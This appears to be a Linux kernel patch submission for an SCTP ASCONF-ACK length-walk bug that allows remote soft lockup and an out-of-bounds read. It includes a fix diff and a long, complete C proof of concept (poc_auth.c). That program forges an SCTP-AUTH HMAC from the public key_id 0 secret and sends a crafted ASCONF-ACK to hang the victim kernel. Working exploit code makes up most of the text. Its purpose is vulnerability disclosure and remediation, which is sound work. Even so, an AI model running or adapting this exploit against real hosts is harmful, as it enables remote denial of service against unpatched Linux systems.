sctp_verify_asconf() walks ASCONF-ACK parameters with sctp_walk_params(), which advances by SCTP_PAD4(length), and its SCTP_PARAM_ERR_CAUSE case performs no length checks, so an odd-length parameter passes verification. The consumer sctp_get_asconf_response() then iterates the same parameters advancing by the raw length, without padding. A single odd-length parameter desynchronises the two walks and makes the consumer interpret attacker-controlled bytes at a misaligned offset. When those bytes yield a length of zero, the while loop over asconf_ack_len makes no progress, spinning forever in softirq context, and the watchdog reports a soft lockup. A remote peer can trigger this with a crafted ASCONF-ACK on an ADD-IP enabled association with an outstanding ASCONF (RFC 5061 section 4.1.2 requires the chunk to be authenticated, but the predefined empty key id 0 allows the peer to compute the same association HMAC from publicly exchanged parameters, so the gate does not help). The missing length check in the SCTP_PARAM_ERR_CAUSE case also lets a 4-byte parameter reach the consumer, which reads crr_id (offset 4) before validating anything, yielding a 4-byte out-of-bounds read past the parameter, as reported by Sashiko. All reads stay within the received skb for the lockup, so it is a pure remote denial of service. Reject undersized SCTP_PARAM_ERR_CAUSE parameters at the verifier, and advance the consumer iterator with the same padding rule as the verifier to keep the two walks in lockstep. The verifier change alone guarantees length >= sizeof(struct sctp_paramhdr) for every parameter the consumer can see, so no separate minimum-length check is needed in the consumer. The consumer padding fix is still required because odd lengths >= sizeof(struct sctp_addip_param) remain valid for SCTP_PARAM_ERR_CAUSE per RFC 5061. The issue was found by ZeroHive, a vulnerability hunting agent at Tencent Yunding Lab. Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") Signed-off-by: Henry Martin --- v2: - Drop the redundant length < sizeof(struct sctp_paramhdr) check in sctp_get_asconf_response(); sctp_walk_params() together with the param.v != chunk->chunk_end check in sctp_verify_asconf() already guarantees it (Xin Long). - Add length < sizeof(struct sctp_addip_param) check to the SCTP_PARAM_ERR_CAUSE case in sctp_verify_asconf(), which also fixes the out-of-bounds crr_id read reported by Sashiko. poc_auth.c: // SCTP ASCONF-ACK soft-lockup PoC — AUTH-forgery variant (key_id=0 null key) // // Goal: prove that even with the HARD default addip_noauth_enable=0, the // "ASCONF-ACK must be authenticated" gate (sm_statefuns.c:4086) does NOT save // the victim, because SCTP-AUTH key_id=0 is the predefined empty key and the // resulting association shared key is derived ONLY from publicly exchanged // values (both peers' RANDOM/CHUNKS/HMAC_ALGO params, RFC 4895 §6.1). // An on-path peer computes the same HMAC offline and forges a valid AUTH // chunk; per inqueue.c, chunk->auth (set by the AUTH chunk in this packet) // persists for subsequent chunks, so the malicious ASCONF-ACK passes. // // Prerequisites (victim): // sysctl -w net.sctp.addip_enable=1 // sysctl -w net.sctp.addip_noauth_enable=0 # default // sysctl -w net.sctp.auth_enable=1 // (kernel with CONFIG_SOFTLOCKUP_DETECTOR=y to see the report) // // Guest run: gcc -O2 -o poc_auth poc_auth.c && ./poc_auth (root, loopback) #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include struct iphdr_local { unsigned char ihl_ver, tos; unsigned short tot_len, id, frag; unsigned char ttl, protocol; unsigned short check; unsigned int saddr, daddr; }; #define iphdr iphdr_local struct sctphdr_local { unsigned short src, dest; unsigned int vtag, check; }; #define sctphdr sctphdr_local #undef IPPROTO_SCTP #define IPPROTO_SCTP 132 #define SCTP_PORT_SERVER htons(7777) #define SCTP_PORT_CLIENT htons(7778) #define SCTP_CHUNK_INIT 1 #define SCTP_CHUNK_INIT_ACK 2 #define SCTP_CHUNK_COOKIE_ECHO 10 #define SCTP_CHUNK_COOKIE_ACK 11 #define SCTP_CHUNK_AUTH 0x0F #define SCTP_CHUNK_ASCONF 0xC1 #define SCTP_CHUNK_ASCONF_ACK 0x80 #define SCTP_PARAM_STATE_COOKIE 0x0007 #define SCTP_PARAM_SUPPORTED_EXT 0x8008 #define SCTP_PARAM_RANDOM 0x8002 #define SCTP_PARAM_CHUNKS 0x8003 #define SCTP_PARAM_HMAC_ALGO 0x8004 #define SCTP_HMAC_ID_SHA1 1 #define SCTP_SOCKOPT_BINDX_ADD 100 static int raw_fd; /* ================= CRC32c (LE on wire, Linux quirk) ================= */ static unsigned int crc32c(const unsigned char *p, size_t n) { static unsigned crc_table[256]; static int inited = 0; if (!inited) { for (unsigned i = 0; i < 256; i++) { unsigned c = i; for (int k = 0; k < 8; k++) c = (c & 1) ? (0x82F63B78u ^ (c >> 1)) : (c >> 1); crc_table[i] = c; } inited = 1; } unsigned c = 0xFFFFFFFFu; for (size_t i = 0; i < n; i++) c = crc_table[(c ^ p[i]) & 0xFF] ^ (c >> 8); return ~c; } /* ================= minimal SHA1 + HMAC-SHA1 ================= */ typedef struct { uint32_t h[5]; uint64_t len; uint8_t buf[64]; size_t buflen; } sha1_ctx; static void sha1_block(sha1_ctx *c, const uint8_t *p) { uint32_t w[80], a, b, cc, d, e; for (int i = 0; i < 16; i++) w[i] = (p[i*4]<<24) | (p[i*4+1]<<16) | (p[i*4+2]<<8) | p[i*4+3]; for (int i = 16; i < 80; i++) { uint32_t t = w[i-3] ^ w[i-8] ^ w[i-14] ^ w[i-16]; w[i] = (t << 1) | (t >> 31); } a = c->h[0]; b = c->h[1]; cc = c->h[2]; d = c->h[3]; e = c->h[4]; for (int i = 0; i < 80; i++) { uint32_t f, k; if (i < 20) { f = (b & cc) | (~b & d); k = 0x5A827999; } else if (i < 40) { f = b ^ cc ^ d; k = 0x6ED9EBA1; } else if (i < 60) { f = (b & cc) | (b & d) | (cc & d); k = 0x8F1BBCDC; } else { f = b ^ cc ^ d; k = 0xCA62C1D6; } uint32_t tmp = ((a << 5) | (a >> 27)) + f + e + k + w[i]; e = d; d = cc; cc = (b << 30) | (b >> 2); b = a; a = tmp; } c->h[0] += a; c->h[1] += b; c->h[2] += cc; c->h[3] += d; c->h[4] += e; } static void sha1_init(sha1_ctx *c) { c->h[0]=0x67452301; c->h[1]=0xEFCDAB89; c->h[2]=0x98BADCFE; c->h[3]=0x10325476; c->h[4]=0xC3D2E1F0; c->len=0; c->buflen=0; } static void sha1_update(sha1_ctx *c, const uint8_t *p, size_t n) { c->len += n; while (n) { size_t take = 64 - c->buflen; if (take > n) take = n; memcpy(c->buf + c->buflen, p, take); c->buflen += take; p += take; n -= take; if (c->buflen == 64) { sha1_block(c, c->buf); c->buflen = 0; } } } static void sha1_final(sha1_ctx *c, uint8_t out[20]) { uint64_t bits = c->len * 8; uint8_t pad = 0x80; sha1_update(c, &pad, 1); uint8_t z = 0; while (c->buflen != 56) sha1_update(c, &z, 1); uint8_t lb[8]; for (int i = 0; i < 8; i++) lb[i] = (bits >> (56 - 8*i)) & 0xFF; sha1_update(c, lb, 8); for (int i = 0; i < 5; i++) { out[i*4] = (c->h[i] >> 24) & 0xFF; out[i*4+1] = (c->h[i] >> 16) & 0xFF; out[i*4+2] = (c->h[i] >> 8) & 0xFF; out[i*4+3] = c->h[i] & 0xFF; } } static void hmac_sha1(const uint8_t *key, size_t klen, const uint8_t *msg, size_t mlen, uint8_t out[20]) { uint8_t k[64]; memset(k, 0, 64); if (klen > 64) { sha1_ctx t; sha1_init(&t); sha1_update(&t, key, klen); sha1_final(&t, k); /* hashed key is exactly 20 bytes */ } else { memcpy(k, key, klen); } uint8_t ipad[64], opad[64]; for (int i = 0; i < 64; i++) { ipad[i] = k[i] ^ 0x36; opad[i] = k[i] ^ 0x5c; } uint8_t inner[20]; sha1_ctx c; sha1_init(&c); sha1_update(&c, ipad, 64); sha1_update(&c, msg, mlen); sha1_final(&c, inner); sha1_init(&c); sha1_update(&c, opad, 64); sha1_update(&c, inner, 20); sha1_final(&c, out); } /* ================= SCTP io ================= */ static int send_sctp(unsigned int src_ip, unsigned int dst_ip, unsigned short src_port, unsigned short dst_port, unsigned int vtag, const unsigned char *chunks, size_t chunks_len) { unsigned char pkt[2048]; struct sctphdr *sh = (struct sctphdr *)pkt; sh->src = src_port; sh->dest = dst_port; sh->vtag = htonl(vtag); sh->check = 0; memcpy(pkt + sizeof(*sh), chunks, chunks_len); sh->check = crc32c(pkt, sizeof(*sh) + chunks_len); struct sockaddr_in d = { .sin_family = AF_INET, .sin_port = dst_port, .sin_addr.s_addr = dst_ip }; if (sendto(raw_fd, pkt, sizeof(*sh) + chunks_len, 0, (struct sockaddr *)&d, sizeof(d)) < 0) { perror("sendto"); return -1; } return 0; } static int recv_packet(unsigned char *buf, size_t buflen, double timeout_sec) { fd_set fds; FD_ZERO(&fds); FD_SET(raw_fd, &fds); struct timeval tv = { (long)timeout_sec, (long)((timeout_sec - (long)timeout_sec) * 1e6) }; if (select(raw_fd + 1, &fds, NULL, NULL, &tv) <= 0) return -1; return (int)recv(raw_fd, buf, buflen, 0); } static int find_chunk(const unsigned char *pkt, ssize_t n, unsigned char want, unsigned char *out, size_t outsz, size_t *outlen) { const unsigned char *sctp = pkt + sizeof(struct iphdr_local); const unsigned char *ch = sctp + sizeof(struct sctphdr_local); ssize_t rem = n - sizeof(struct iphdr_local) - sizeof(struct sctphdr_local); while (rem >= 4) { unsigned short clen = ntohs(*(const unsigned short *)(ch + 2)); if (clen < 4 || clen > rem) return -1; if (ch[0] == want) { size_t c = clen < outsz ? clen : outsz; memcpy(out, ch, c); if (outlen) *outlen = clen; return 0; } ch += (clen + 3) & ~3u; rem -= (clen + 3) & ~3u; } return -1; } /* ---- captured AUTH params (raw param bytes incl. 4-byte hdr, no padding) ---- */ struct auth_param_set { unsigned char random[64]; size_t random_len; unsigned char chunks[64]; size_t chunks_len; /* may be 0 if absent */ unsigned char hmacs[64]; size_t hmacs_len; }; static void extract_param(const unsigned char *chunk, size_t clen, int is_initack, struct auth_param_set *ap) { size_t off = is_initack ? 20 : 0; /* skip chunk hdr + init fixed hdr */ if (!is_initack) return; while (off + 4 <= clen) { unsigned short pt = ntohs(*(const unsigned short *)(chunk + off)); unsigned short pl = ntohs(*(const unsigned short *)(chunk + off + 2)); if (pl < 4 || off + pl > clen) break; if (pt == 0x8002 && pl <= sizeof(ap->random)) { memcpy(ap->random, chunk + off, pl); ap->random_len = pl; } else if (pt == 0x8003 && pl <= sizeof(ap->chunks)) { memcpy(ap->chunks, chunk + off, pl); ap->chunks_len = pl; } else if (pt == 0x8004 && pl <= sizeof(ap->hmacs)) { memcpy(ap->hmacs, chunk + off, pl); ap->hmacs_len = pl; } off += (pl + 3) & ~3u; } } /* our fixed INIT params (must mirror build_init exactly, no padding) */ static struct auth_param_set peer_ap; static size_t build_init(unsigned char *out, unsigned int init_tag, unsigned int tsn) { size_t o = 0; out[o++] = SCTP_CHUNK_INIT; out[o++] = 0; unsigned short lp = o; o += 2; *(unsigned int *)(out + o) = htonl(init_tag); o += 4; *(unsigned int *)(out + o) = htonl(65535); o += 4; *(unsigned short *)(out + o) = htons(10); o += 2; *(unsigned short *)(out + o) = htons(10); o += 2; *(unsigned int *)(out + o) = htonl(tsn); o += 4; /* RANDOM hdr4+32 */ size_t ps = o; *(unsigned short *)(out + o) = htons(SCTP_PARAM_RANDOM); o += 2; *(unsigned short *)(out + o) = htons(4 + 32); o += 2; for (int i = 0; i < 32; i++) out[o++] = (unsigned char)(i | 1); peer_ap.random_len = 36; memcpy(peer_ap.random, out + ps, peer_ap.random_len); /* CHUNKS len 5 (one id: DATA), pad to 8 */ ps = o; *(unsigned short *)(out + o) = htons(SCTP_PARAM_CHUNKS); o += 2; *(unsigned short *)(out + o) = htons(4 + 1); o += 2; out[o++] = 0x00; out[o++] = 0; out[o++] = 0; out[o++] = 0; peer_ap.chunks_len = 5; memcpy(peer_ap.chunks, out + ps, peer_ap.chunks_len); /* HMAC_ALGO len 6 (SHA1), pad to 8 */ ps = o; *(unsigned short *)(out + o) = htons(SCTP_PARAM_HMAC_ALGO); o += 2; *(unsigned short *)(out + o) = htons(4 + 2); o += 2; *(unsigned short *)(out + o) = htons(SCTP_HMAC_ID_SHA1); o += 2; out[o++] = 0; out[o++] = 0; peer_ap.hmacs_len = 6; memcpy(peer_ap.hmacs, out + ps, peer_ap.hmacs_len); /* SUPPORTED_EXT: AUTH + ASCONF + ASCONF_ACK, len 7, pad to 8 */ *(unsigned short *)(out + o) = htons(SCTP_PARAM_SUPPORTED_EXT); o += 2; *(unsigned short *)(out + o) = htons(4 + 3); o += 2; out[o++] = SCTP_CHUNK_AUTH; out[o++] = SCTP_CHUNK_ASCONF; out[o++] = SCTP_CHUNK_ASCONF_ACK; out[o++] = 0; *(unsigned short *)(out + lp) = htons((unsigned short)o); return o; } /* vector = random || chunks || hmacs (declared lengths only, padding stripped) */ static size_t make_vector(const struct auth_param_set *ap, unsigned char *out) { size_t n = 0; memcpy(out + n, ap->random, ap->random_len); n += ap->random_len; if (ap->chunks_len) { memcpy(out + n, ap->chunks, ap->chunks_len); n += ap->chunks_len; } memcpy(out + n, ap->hmacs, ap->hmacs_len); n += ap->hmacs_len; return n; } /* kernel's numeric vector compare (auth.c:149) */ static int cmp_vectors(const unsigned char *v1, size_t l1, const unsigned char *v2, size_t l2) { long diff = (long)l1 - (long)l2; if (diff) { const unsigned char *longer = diff > 0 ? v1 : v2; long ad = diff > 0 ? diff : -diff; for (long i = 0; i < ad; i++) if (longer[i] != 0) return diff > 0 ? 1 : -1; } size_t m = l1 < l2 ? l1 : l2; return memcmp(v1, v2, m); } int main(void) { setvbuf(stdout, NULL, _IONBF, 0); unsigned int srv = inet_addr("127.0.0.1"); int sync_pipe[2]; if (pipe(sync_pipe) < 0) { perror("pipe"); return 1; } pid_t vic = fork(); if (vic == 0) { close(sync_pipe[1]); int s = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP); if (s < 0) _exit(1); struct sockaddr_in a = { .sin_family = AF_INET, .sin_port = SCTP_PORT_SERVER, .sin_addr.s_addr = inet_addr("127.0.0.1") }; if (bind(s, (struct sockaddr *)&a, sizeof(a)) < 0) _exit(2); if (listen(s, 5) < 0) _exit(3); char tok; if (read(sync_pipe[0], &tok, 1) != 1) _exit(4); struct sockaddr_in sin; memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = SCTP_PORT_SERVER; sin.sin_addr.s_addr = inet_addr("127.0.0.2"); for (int t = 0; t < 5; t++) { int r = setsockopt(s, IPPROTO_SCTP, SCTP_SOCKOPT_BINDX_ADD, &sin, sizeof(sin)); printf("[victim] bindx ADD 127.0.0.2 (try %d) -> %d (%s)\n", t, r, r ? strerror(errno) : "ok"); if (r == 0) break; sleep(1); } pause(); _exit(0); } close(sync_pipe[0]); raw_fd = socket(AF_INET, SOCK_RAW, IPPROTO_SCTP); if (raw_fd < 0) { perror("raw socket"); kill(vic, SIGKILL); return 1; } struct sockaddr_in rb = { .sin_family = AF_INET, .sin_addr.s_addr = srv }; bind(raw_fd, (struct sockaddr *)&rb, sizeof(rb)); sleep(1); /* ---- handshake with AUTH capability declared ---- */ unsigned char buf[2048], initbuf[256]; size_t initlen = build_init(initbuf, 0x11223344, 0x1000); printf("[*] INIT (%zu bytes)\n", initlen); send_sctp(srv, srv, SCTP_PORT_CLIENT, SCTP_PORT_SERVER, 0, initbuf, initlen); unsigned int server_tag = 0, my_vtag = 0; unsigned char cookie[512]; size_t cookie_len = 0; struct auth_param_set local_ap; memset(&local_ap, 0, sizeof(local_ap)); for (int i = 0; i < 10 && !cookie_len; i++) { ssize_t n = recv_packet(buf, sizeof(buf), 1.0); if (n <= 0) { send_sctp(srv, srv, SCTP_PORT_CLIENT, SCTP_PORT_SERVER, 0, initbuf, initlen); continue; } const unsigned char *sctp = buf + sizeof(struct iphdr_local); const unsigned char *ch = sctp + sizeof(struct sctphdr_local); ssize_t rem = n - sizeof(struct iphdr_local) - sizeof(struct sctphdr_local); while (rem >= 4) { unsigned short clen = ntohs(*(const unsigned short *)(ch + 2)); if (clen < 4 || clen > rem) break; if (ch[0] == SCTP_CHUNK_INIT_ACK) { server_tag = ntohl(*(const unsigned int *)(ch + 4)); extract_param(ch, clen, 1, &local_ap); const unsigned char *p = ch + 20; size_t plen = clen - 20; while (plen >= 4) { unsigned short pt = ntohs(*(const unsigned short *)p); unsigned short pl = ntohs(*(const unsigned short *)(p + 2)); if (pl < 4 || pl > plen) break; if (pt == SCTP_PARAM_STATE_COOKIE) { cookie_len = pl - 4; if (cookie_len > sizeof(cookie)) cookie_len = sizeof(cookie); memcpy(cookie, p + 4, cookie_len); } p += (pl + 3) & ~3u; plen -= (pl + 3) & ~3u; } } ch += (clen + 3) & ~3u; rem -= (clen + 3) & ~3u; } } if (!cookie_len) { printf("[-] no INIT-ACK/cookie\n"); kill(vic, SIGKILL); return 1; } my_vtag = *(const unsigned int *)(cookie + 36); printf("[+] INIT-ACK: server_tag=0x%08x cookie_len=%zu my_vtag=0x%08x\n", server_tag, cookie_len, my_vtag); printf("[+] victim AUTH params: random=%zuB chunks=%zuB hmacs=%zuB\n", local_ap.random_len, local_ap.chunks_len, local_ap.hmacs_len); /* sanity: victim must advertise SHA1 or we can't forge SHA1 HMAC */ { int sha1_ok = 0; for (size_t i = 4; i + 2 <= local_ap.hmacs_len; i += 2) if (ntohs(*(unsigned short *)(local_ap.hmacs + i)) == SCTP_HMAC_ID_SHA1) sha1_ok = 1; printf("[%c] victim accepts SHA1 HMAC\n", sha1_ok ? '+' : '-'); if (!sha1_ok) { kill(vic, SIGKILL); return 1; } } /* COOKIE-ECHO (real cookie) */ unsigned char ce[600]; size_t o = 0; ce[o++] = SCTP_CHUNK_COOKIE_ECHO; ce[o++] = 0; unsigned short lpc = o; o += 2; memcpy(ce + o, cookie, cookie_len); o += cookie_len; *(unsigned short *)(ce + lpc) = htons((unsigned short)o); while (o % 4) ce[o++] = 0; send_sctp(srv, srv, SCTP_PORT_CLIENT, SCTP_PORT_SERVER, my_vtag, ce, o); printf("[*] COOKIE-ECHO sent (%zu bytes)\n", o); int established = 0; for (int i = 0; i < 10 && !established; i++) { ssize_t n = recv_packet(buf, sizeof(buf), 1.0); if (n <= 0) { send_sctp(srv, srv, SCTP_PORT_CLIENT, SCTP_PORT_SERVER, my_vtag, ce, o); continue; } size_t l; if (find_chunk(buf, n, SCTP_CHUNK_COOKIE_ACK, buf, 0, &l) == 0) established = 1; } printf("[%c] association %s\n", established ? '+' : '-', established ? "ESTABLISHED" : "failed"); if (!established) { kill(vic, SIGKILL); return 1; } if (write(sync_pipe[1], "x", 1) != 1) perror("pipe write"); close(sync_pipe[1]); /* ---- sniff victim ASCONF ---- */ unsigned int asconf_serial = 0; unsigned char ack_chunk[16]; size_t alen = 0; printf("[*] waiting for victim ASCONF ...\n"); for (int i = 0; i < 15 && !asconf_serial; i++) { ssize_t n = recv_packet(buf, sizeof(buf), 1.0); if (n <= 0) continue; size_t l = 0; if (find_chunk(buf, n, SCTP_CHUNK_ASCONF, ack_chunk, sizeof(ack_chunk), &alen) == 0) { if (alen >= 8) asconf_serial = ntohl(*(const unsigned int *)(ack_chunk + 4)); } } if (!asconf_serial) { printf("[-] no ASCONF seen\n"); kill(vic, SIGKILL); return 1; } printf("[+] ASCONF serial=0x%08x\n", asconf_serial); /* ---- build malicious ASCONF-ACK (same as poc.c) ---- */ unsigned char ack[400]; size_t a = 0; ack[a++] = SCTP_CHUNK_ASCONF_ACK; ack[a++] = 0; unsigned short lpa = a; a += 2; *(unsigned int *)(ack + a) = htonl(asconf_serial); a += 4; size_t pa = a; *(unsigned short *)(ack + a) = htons(0xc003); a += 2; /* ERR_CAUSE len 5 */ *(unsigned short *)(ack + a) = htons(5); a += 2; ack[a++] = 0x41; ack[a++] = 0; ack[a++] = 0; ack[a++] = 0; *(unsigned short *)(ack + a) = htons(0xc003); a += 2; /* ERR_CAUSE len 252 */ *(unsigned short *)(ack + a) = htons(252); a += 2; memset(ack + a, 0x42, 252 - 4); a += 252 - 4; *(unsigned short *)(ack + pa + 199) = 0x0000; *(unsigned int *)(ack + pa + 201) = htonl(0xffffffff); *(unsigned short *)(ack + lpa) = htons((unsigned short)a); while (a % 4) ack[a++] = 0; /* ---- compute key_id=0 shared secret from PUBLIC vectors ---- */ unsigned char lv[160], pv[160], secret[320]; size_t lvn = make_vector(&local_ap, lv); size_t pvn = make_vector(&peer_ap, pv); size_t sn; if (cmp_vectors(lv, lvn, pv, pvn) < 0) { /* local smaller first */ memcpy(secret, lv, lvn); memcpy(secret + lvn, pv, pvn); sn = lvn + pvn; } else { memcpy(secret, pv, pvn); memcpy(secret + pvn, lv, lvn); sn = pvn + lvn; } printf("[+] key_id=0 secret: local_vec=%zuB peer_vec=%zuB -> secret=%zuB (all public)\n", lvn, pvn, sn); /* ---- AUTH chunk + ASCONF-ACK, HMAC-SHA1 over AUTH..end ---- */ unsigned char pkt[700]; size_t q = 0; size_t auth_start = q; pkt[q++] = SCTP_CHUNK_AUTH; pkt[q++] = 0; unsigned short lpq = q; q += 2; *(unsigned short *)(pkt + lpq) = htons(28); /* hdr4 + auth_hdr4 + 20B digest */ *(unsigned short *)(pkt + q) = htons(0 /* key_id 0 */); q += 2; *(unsigned short *)(pkt + q) = htons(SCTP_HMAC_ID_SHA1); q += 2; q += 20; /* digest placeholder, zeroed during MAC */ memcpy(pkt + q, ack, a); q += a; memset(pkt + auth_start + 8, 0, 20); uint8_t mac[20]; hmac_sha1(secret, sn, pkt + auth_start, q - auth_start, mac); memcpy(pkt + auth_start + 8, mac, 20); (void)lpq; printf("[*] sending forged AUTH + ASCONF-ACK (%zu bytes, key_id=0)\n", q); send_sctp(srv, srv, SCTP_PORT_CLIENT, SCTP_PORT_SERVER, my_vtag, pkt, q); printf("[*] if the forged HMAC passes, victim spins in sctp_get_asconf_response\n"); printf("[*] wait ~25s, then check dmesg for 'soft lockup'\n"); sleep(30); kill(vic, SIGKILL); waitpid(vic, NULL, 0); return 0; } net/sctp/sm_make_chunk.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/net/sctp/sm_make_chunk.c b/net/sctp/sm_make_chunk.c index 236e25abc7a42..1166d1c5ea584 100644 --- a/net/sctp/sm_make_chunk.c +++ b/net/sctp/sm_make_chunk.c @@ -3215,6 +3215,8 @@ bool sctp_verify_asconf(const struct sctp_association *asoc, *errp = param.p; switch (param.p->type) { case SCTP_PARAM_ERR_CAUSE: + if (length < sizeof(struct sctp_addip_param)) + return false; break; case SCTP_PARAM_IPV4_ADDRESS: if (length != sizeof(struct sctp_ipv4addr_param)) @@ -3460,8 +3462,8 @@ static __be16 sctp_get_asconf_response(struct sctp_chunk *asconf_ack, } length = ntohs(asconf_ack_param->param_hdr.length); - asconf_ack_param = (void *)asconf_ack_param + length; - asconf_ack_len -= length; + asconf_ack_param = (void *)asconf_ack_param + SCTP_PAD4(length); + asconf_ack_len -= SCTP_PAD4(length); } return err_code; -- 2.43.0